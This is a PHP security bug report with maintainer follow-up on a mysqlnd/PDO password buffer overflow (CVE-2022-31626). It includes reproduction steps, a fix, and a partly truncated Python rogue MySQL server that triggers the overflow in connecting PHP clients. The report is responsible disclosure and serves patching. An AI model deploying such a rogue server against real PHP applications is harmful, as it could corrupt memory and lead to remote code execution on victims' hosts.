



Sec Bug #81719 mysqlnd/pdo password buffer overflow leading to RCE

Submitted: 2022-05-16 14:33 UTC

Modified: 2022-06-15 07:24 UTC

Votes: 11

From: c dot fol at ambionics dot io Assigned: [cmb](#) ([profile](#))

Avg. Score: 3.0 ± 1.0

Status: Closed

Package: [PDO MySQL](#)

Reproduced: 2 of 2 (100.0%)

PHP Version: 8.1.6

OS:

Same Version: 2 (100.0%)

Private report: No

CVE-ID: [2022-31626](#)

Same OS: 2 (100.0%)

[View](#)

[Add Comment](#)

[Developer](#)

[Edit](#)

[2022-05-16 14:33 UTC] c dot fol at ambionics dot io

Description:

Hello PHP team!

INFOS

There's a buffer overflow here:

https://github.com/php/php-src/blob/master/ext/mysqlnd/mysqlnd_wireprotocol.c#L785

It copies `auth_data_len` bytes from `buffer + MYSQLND_HEADER_SIZE`, but only allocates `auth_data_len` bytes.

This bug affects mysqlnd and therefore PDO.

For context, this function copies the user submitted password (`packet->auth_data`) to a buffer in order to send it to a MySQL server. This happens with the legacy auth method that requires you to send a password as raw instead of having some kind of challenge/response logic.

This is exploitable remotely by making PHP connect to a rogue MySQL server. Tools such as Adminer, PHPmyAdmin are affected. Impact is remote code execution.

TEST SCRIPT

I've added a fake MySQL Server coded in python to demonstrate the bug at the bottom of this bug report. This should probably be removed before the bug goes public.

Install pwntools (<https://github.com/Gallopsled/pwntools#readme>), and start it. It'll wait for connections. Then, you can start PHP in debug mode, with GDB and break on the indicated line:

```
...  
$ gdb --args ./sapi/cli/php -r "new PDO('mysql:host=here.localhost', 'b', str_repeat('a',5000));"  
(gdb) b mysqlnd_wireprotocol.c:785  
(gdb) r  
...
```

As it breaks, you'll see that the copy happens OOB.

PATCH

Just add the size of the header in the computation.

```
...  
- zend_uchar * const buffer = pfc->cmd_buffer.length >= packet->auth_data_len? pfc->cmd_buffer.buffer :  
mnd_emalloc(packet->auth_data_len);  
+ size_t total_packet_size = packet->auth_data_len + MYSQLND_HEADER_SIZE;  
+ zend_uchar * const buffer = pfc->cmd_buffer.length >= total_packet_size? pfc->cmd_buffer.buffer :  
mnd_emalloc(total_packet_size);  
...
```

Best regards,
Charles Fol
ambionics.io

```
...  
#!/usr/bin/env python3
```

```
from pwn import *
```

```
class ProtoError(Exception):  
    def __init__(self):  
        super().__init__('Unknown SQL command')
```

```

class Output:
    def clear(self):
        print('\r\x1b[K', end='')
        return self

    def __getattr__(self, x):
        def wrapper(msg='', *args, **kwargs):
            return print(msg.format(*args), **kwargs)
        return wrapper

out = Output()

def failure(message):
    out.error(message)
    exit()

def zend_string_size(s):
    """When you create a PHP string of N bytes, it will allocate N+25 bytes.
    """
    return s - 24 - 1

class Handler:
    """Handles a connection to the fake MySQL server.
    When the client auths, we change the authentication method to cleartext to
    trigger the overflow.
    Otherwise, once we receive a packet, we send back what the client wants to
    hear.
    """
    def __init__(self, socket):
        self.socket = socket
        self.handle()

    def die(self):
        self.socket.close()

    def handle(self):
        try:
            self.handle_handshake()
            while self.handle_command() != 'quit':
                pass
        except ProtoError:
            raise
        except EOFError:
            #out.failure('EOF')
            pass
        except Exception as e:
            #out.failure('{:}: {:}', type(e).__name__, str(e))
            raise
        finally:
            self.socket.close()

    def handle_command(self):
        packet = self.read_packet()
        command = packet[0]

        # Send query
        if command == 0x03:
            self.handle_query(packet[1:])
            return

        # Change DB
        if command == 0x02:
            #out.info('Change DB: {}', packet[1:].decode())
            self.send('07 00 00 01 00 00 00 02 00 00 00')
            return

        if command == 0x1b:
            #out.info('Unknown packet')
            self.send('05 00 00 01 fe 00 00 02 00')
            return

        # Quit
        if command == 0x01:
            #out.info('Closing connection')
            return 'quit'

    def send(self, data):
        self.socket.send(bytes.fromhex(data.replace(' ', '')))

```

```

def read_packet(self):
    packet_header = self.socket.recv(4)
    if len(packet_header) != 4:
        raise ProtoError()
    size = u32(packet_header) & 0xffffffff
    contents = self.socket.recv(size)
    return contents

def handle_handshake(self):
    #out.success('Got connection, authenticating...')

self.send('4a000000a382e302e3233009a0e000011686652356c700800ffffff0200ffc150000000000000000077315b77715b5315523a274e0063616368696e675f736861325f70617'

    self.read_packet()
    self.send('02000020103')
    # switch auth to cleartext password (pam)
    self.send('16000003FE6d7973716c5f636c6561725f70617373776f726400')
    self.read_packet()
    self.read_packet()
    # The overflow :)
    self.socket.recv(4)
    self.send('07000050000000200000')

def handle_query(self, query):
    #out.info('Query: {}'.format(query.decode()))
    if query.startswith(b'SET '):
        self.send('07 00 00 01 00 00 00 02 00 00 00')
    elif query.startswith(b'SELECT TABLE_NAME, TABLE_TYPE'):

self.send('010000010248000020364656612696e666f726d6174696f6e5f736368656d61065441424c4553067461626c65730a5441424c455f4e414d450a5441424c455f4e414d450cfff00'

        elif query.startswith(b'SELECT @@default_storage_engine'):

self.send('01000001012e00002036465660000018404064656661756c745f73746f726167655f656e67696e6500cfff0054550100fd00001f00005000003fe000002000700000406496e'

        elif query.startswith(b'SHOW COLLATION'):

self.send('01000001074e000020364656612696e666f726d6174696f6e5f736368656d610a434f4c4c4154494f4e530a434f4c4c4154494f4e5309436f6c6c6174696f6e09436f6c6c6174'

self.send('365f766965746e616d6573655f6369057574663136033132340003596573013809504144205350414345240000990975746633325f62696e057574663332023631000359657301:

        elif query.startswith(b'SHOW CREATE DATABASE'):

self.send('01000001021e00002036465660000008446174616261736500cfff00001000fd01001f00002500000303646566000000f43726561746520446174616261736500cfff00001

        elif query.startswith(b'SELECT ROUTINE_NAME AS'):

self.send('010000010451000020364656612696e666f726d6174696f6e5f736368656d6108524f5554494e455308524f5554494e45530d53504543494649435f4e414d450c524f5554494e'

        elif query.startswith(b'SHOW EVENTS'):

self.send('010000010f28000020364656600064556454e545308736368656d6174610244620244620cfff00001000fd81100000002a0000030364656600064556454e5453066576656e747'

        elif query.startswith(b'SELECT TABLE_NAME AS Name'):

self.send('01000001033c000020364656612696e666f726d6174696f6e5f736368656d61065441424c4553067461626c6573044e616d65044e616d650cfff00001000fd81100000003a00'

        elif query.startswith(b'SELECT /*+ MAX_'):

self.send('01000001014e000020364656612696e666f726d6174696f6e5f736368656d6108534348454d41544108736368656d6174610b534348454d415f4e414d450b534348454d415f4e'

        elif query.startswith(b'SHOW INDEX FROM `test`'):

self.send('010000010f350000203646566000f53484f575f53544154495354494353067461626c6573055461626c65055461626c650cfff00001000fd8110000000390000030364656600'

        elif query.startswith(b'EXPLAIN PARTITIONS SELECT * FROM '):

self.send('b2000001ff2804233432303030596f75206861766520616e206572726f7220696e20796f75722053514c2073796e7461783b20636865636b20746865206d616e75616c207468617'

        elif query.startswith(b'SELECT * FROM test.test'):
            self.handle_select_test()
        elif query.startswith(b'SHOW WARNINGS'):

self.send('01000001031b000020364656600000054c6576656c00cfff001c00000fd01001f00001a000003036465660000004436f6465000c3f000400000003a100000001d00000403'

    else:
        hexdump(query)
        raise ProtoError()

```

```

class SQLServer:
    """Rogue MySQL server.
    """
    session_class = None

    def __init__(self):
        self.sessions = []
        self.socket = server(3306, callback=self.accept)

    def accept(self, client_socket):
        self.sessions.append(
            self.session_class(client_socket)
        )

    def set_session_handler(self, session_class):
        self.session_class = session_class

    def stop(self):
        self.socket.close()
        for session in self.sessions:
            session.die()

server = SQLServer()
server.set_session_handler(Handler)

pause()
...

```

Patches

[Add a Patch](#)

Pull Requests

[Add a Pull Request](#)

History

All	Comments	Changes	Git/SVN commits	Related reports
-----	----------	---------	-----------------	-----------------

[2022-05-17 13:59 UTC] [cmb@php.net](#)

```

-Status: Open
+Status: Verified
-Assigned To:
+Assigned To: cmb

```

[2022-05-17 13:59 UTC] [cmb@php.net](#)

Thanks for reporting the issue (very thorough report)! I can reproduce the bug, and your patch would obviously solve that.

However, I'm having some issues with the server script, which apparently stalls at the end of the handshake (Handler.handle_handshake). It would be nice to commit that as regression test, though (and also as the beginning of a more general fake server test suite); maybe you have an idea how to fix that.

Anyway, as I understand it, this issue would only happen for *very* long passwords (~ 5000 bytes or more); that would likely *not* qualify this as security issue. Or are there other more likely cases which may trigger this bug?

[2022-05-25 21:34 UTC] [stas@php.net](#)

```

-CVE-ID:
+CVE-ID: needed

```

[2022-05-25 21:34 UTC] [stas@php.net](#)

I think since it can be common for a hosted tool to accept user-supplied password, and as required length is not ridiculous (5k, not gigabytes) we should treat it as security.

[2022-05-25 21:40 UTC] stas@php.net

-CVE-ID: needed
+CVE-ID: 2022-31626

[2022-05-31 13:43 UTC] c dot fol at ambionics dot io

Hello cmb,

Sorry for the delay, it looks like your tracker refuses to send me emails for this bug (although it works fine, usually). Have you made any progress regarding the server ?
I implemented this server a long time ago, so I don't really remember. I might be able to have a look next week if you're still stuck.

Regards

[2022-06-07 10:27 UTC] cmb@php.net

> Have you made any progress regarding the server ?

No, I didn't work further on that. I think the problem is that the test would always hang, but it was sufficient to trigger the buffer overflow. Now that the bug is fixed, the test would need to proceed.

[2022-06-15 07:24 UTC] stas@php.net

-Status: Verified
+Status: Closed

[2022-06-15 07:24 UTC] stas@php.net

The fix for this bug has been committed.
If you are still experiencing this bug, try to check out latest source from <https://github.com/php/php-src> and re-test.
Thank you for the report, and for helping us make PHP better.

